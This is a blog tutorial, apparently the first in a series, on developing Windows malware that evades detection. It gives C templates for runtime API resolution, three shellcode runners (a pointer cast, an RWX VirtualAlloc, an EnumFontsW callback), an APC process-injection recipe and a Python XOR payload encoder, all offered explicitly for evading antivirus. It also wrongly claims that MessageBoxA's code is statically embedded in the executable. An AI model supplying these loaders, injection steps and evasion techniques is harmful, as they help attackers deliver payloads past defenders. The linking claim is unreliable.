Basics of Anti-Detection Development (1)

Overview

This article explores fundamental concepts in Windows-based malware development, focusing on dynamic function loading, shellcode execution methods, injection techniques, and obfuscation strategies.

Dynamic Function Loading and Execution

Let's begin with a simple example:

int main(void) {
    MessageBoxA(0, "Foo Here.", "info", 0);
    return 0;
}

This program uses MessageBoxA, a standard Windows API function, to display a message box. It is statically linked during compilation, meaning the function's code is embedded directly into the executable.

Now consider this alternative approach:

int main(void) {
    HMODULE user32 = LoadLibraryA("USER32.dll");
    FARPROC proc = GetProcAddress(user32, "MessageBoxA");
    typedef void (*MsgBoxFunc)(HWND, LPCSTR, LPCSTR, UINT);
    MsgBoxFunc msgbox = (MsgBoxFunc)proc;
    msgbox(0, "Foo Here.", "info", 0);
    return 0;
}

Here, we dynamically load the function at runtime using LoadLibraryA and GetProcAddress. A function pointer type matching the signature is defined, cast to the retrieved adress, and then invoked. This technique helps evade static analysis by avoiding direct references to system libraries.

Shellcode Execution Techniques

There are several ways to execute shellcode within a process:

1. Pointer-Based Execution

#include <windows.h>
unsigned char shellcode[] = "your_shellcode_here";

int main() {
    ((void(*)())shellcode)();
    return 0;
}

2. Memory Allocation and Execution

#include <windows.h>

int main() {
    unsigned char sc[] = "your_shellcode_here";
    LPVOID execMem = VirtualAlloc(0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(execMem, sc, sizeof(sc));
    ((void(*)())execMem)();
    return 0;
}

3. Callback-Based Execution

#include <windows.h>

unsigned char shellcode[] = "your_shellcode_here";

int main() {
    LPVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(addr, shellcode, sizeof(shellcode));
    HDC dc = GetDC(NULL);
    EnumFontsW(dc, NULL, (FONTENUMPROCW)addr, NULL);
    return 0;
}

Injection Techniques

APC (Asynchronous Procedure Call) injection leverages asynchronous interrupts to inject code into another process. Functions like ReadFileEx allow developers to schedule code execution upon I/O completion by queuing APCs to specific threads.

The typical steps for APC injection are:

  1. Enumerate processes and threads using Toolhelp32Snapshot.
  2. Obtain the target process ID and handle via OpenProcess.
  3. Allocate memory in the target process with VirtualAllocEx.
  4. Write the payload using WriteProcessMemory.
  5. Adjust memory protection using VirtualProtectEx.
  6. Queue the payload as an APC using QueueUserAPC.
  7. Make the thread alertable using functions such as SleepEx, WaitForSingleObjectEx, or Sleep.

Shellcode Obfuscation Methods

To avoid detection, shellcode can be encrypted using XOR encryption. Below is a Python script for XOR encryption:

def xor_encrypt_decrypt(input_file, key):
    with open(input_file, 'rb') as f:
        data = f.read()
    encrypted_data = bytes([byte ^ key for byte in data])
    return encrypted_data

input_file = 'payload.bin'
key = 0xc5
encrypted_result = xor_encrypt_decrypt(input_file, key)
print("Encrypted result:")
print(encrypted_result)

Summary

These are just the initial steps in anti-detection development. Effective evasion requires both technical knowledge and creative problem-solving skills.

Tags: anti-detection malware-development shellcode Windows-API obfuscation

Posted on Mon, 27 Jul 2026 16:20:27 +0000 by bensonang